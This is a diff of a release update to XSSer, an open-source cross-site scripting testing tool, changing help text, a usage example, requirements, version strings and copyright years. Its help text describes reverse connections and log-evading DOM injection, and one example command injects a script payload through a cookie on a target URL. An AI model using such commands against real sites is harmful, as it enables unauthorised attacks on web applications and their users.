 Options and features:
@@ -98,7 +98,6 @@ Options:
     --checkmethod=ALTM  Check reply using: GET or POST (default: GET)
     --checkmethod=ALTM  Check reply using: GET or POST (default: GET)
     --checkatdata=ALD   Check reply using: <alternative payload>
     --checkatdata=ALD   Check reply using: <alternative payload>
     --reverse-check     Establish a reverse connection from target to XSSer
     --reverse-check     Establish a reverse connection from target to XSSer
-    --reverse-open      Open a web browser when a reverse check is established
 
 
   *Select Vector(s)*:
   *Select Vector(s)*:
     These options can be used to specify injection(s) code. Important if
     These options can be used to specify injection(s) code. Important if
@@ -281,7 +280,7 @@ Commands and examples:
 
 
 * Simple injection from URL, using GET, injecting on Cookie, trying to use DOM shadow space (no server logging!) and if exists any vulnerability, exploiting your -own- final code:
 * Simple injection from URL, using GET, injecting on Cookie, trying to use DOM shadow space (no server logging!) and if exists any vulnerability, exploiting your -own- final code:
 
 
-  xsser -u "https://target.com" -g "/news.asp?page=XSS" --Coo --Dom --Fp="<script>alert('XSSed');</script>"
+  xsser -u "https://target.com" -g "/news.asp?page=XSS" --Coo --Anchor --Fp="<script>alert('XSSed');</script>"
 
 
 ----------------------------------------
 ----------------------------------------
 
 

+ 1 - 0
doc/requirements.txt

@@ -3,3 +3,4 @@ pycurl==7.43.0.3
 geoip2==2.9.0
 geoip2==2.9.0
 gobject==0.1.0
 gobject==0.1.0
 cffi>=1.1.0
 cffi>=1.1.0
+selenium=>3.141.0

+ 2 - 2
gtk/docs/about.txt

@@ -4,7 +4,7 @@
                                                                     `.`                   ..              
                                                                     `.`                   ..              
             Welcome to XSSer ....                       `-:`              .-`               
             Welcome to XSSer ....                       `-:`              .-`               
                                                                         `/-     -      +`                                        
                                                                         `/-     -      +`                                        
-                                                                          o     +      /                                  v1.8[2] -> "The Hiv3!"
+                                                                          o     +      /                                  v1.8[3] -> "The Hiv€!"
                                                                           ./   -Ny    /.                                         
                                                                           ./   -Ny    /.                                         
                                                              `::-`       :--yMN:--.      `.....                      
                                                              `::-`       :--yMN:--.      `.....                      
                                          `mMMMMMmdhysoooosMyoo+oyhdmNMMMMMMMs       
                                          `mMMMMMmdhysoooosMyoo+oyhdmNMMMMMMMs       
@@ -16,7 +16,7 @@
                                                                   .::`     h`  o-  o.    :+.                       
                                                                   .::`     h`  o-  o.    :+.                       
                        GPLv3                                .--.        :o      y       :/.          
                        GPLv3                                .--.        :o      y       :/.          
                                                                ``            h      .s         -:.        
                                                                ``            h      .s         -:.        
-                                                                              :/       o.          ``                2010/2019 - by psy
+                                                                              :/       o.          ``                2010/2020 - by psy
                                                                             .o         o                   
                                                                             .o         o                   
                                                                              o          ./                  
                                                                              o          ./                  
                                                                             +`           :.                 
                                                                             +`           :.                 

+ 1 - 1
gtk/xsser.ui

@@ -14,7 +14,7 @@
     <property name="can_default">True</property>
     <property name="can_default">True</property>
     <property name="has_tooltip">True</property>
     <property name="has_tooltip">True</property>
     <property name="border_width">1</property>
     <property name="border_width">1</property>
-    <property name="title" translatable="yes">XSSer v1.8[2]: "The Hiv3!" - (https://xsser.03c8.net)</property>
+    <property name="title" translatable="yes">XSSer v1.8.[3]: "The Hiv€!" - (https://xsser.03c8.net) - by psy</property>
     <property name="window_position">center-always</property>
     <property name="window_position">center-always</property>
     <property name="destroy_with_parent">True</property>
     <property name="destroy_with_parent">True</property>
     <property name="icon">images/xssericon_24x24.png</property>
     <property name="icon">images/xssericon_24x24.png</property>

+ 3 - 4
setup.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -39,8 +39,8 @@ gtk_files = ['gtk/xsser.ui']
 gtk_app_files = ['gtk/xsser.desktop']
 gtk_app_files = ['gtk/xsser.desktop']
 setup(
 setup(
     name = "xsser",
     name = "xsser",
-    version = "1.8",
-    packages = ['core', 'core.fuzzing', 'core.post'],
+    version = "1.8.3",
+    packages = ['core', 'core.fuzzing', 'core.post', 'core.driver'],
     data_files = [('/usr/share/doc/xsser/', doc_files), 
     data_files = [('/usr/share/doc/xsser/', doc_files), 
                   ('/usr/share/xsser/gtk/images/', data_files),
                   ('/usr/share/xsser/gtk/images/', data_files),
                   ('/usr/share/xsser/gtk/docs/', gtk_doc_files),
                   ('/usr/share/xsser/gtk/docs/', gtk_doc_files),
@@ -49,4 +49,3 @@ setup(
     scripts = ['xsser'],
     scripts = ['xsser'],
     test_suite = "tests"
     test_suite = "tests"
 )
 )
-

+ 1 - 1
xsser

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free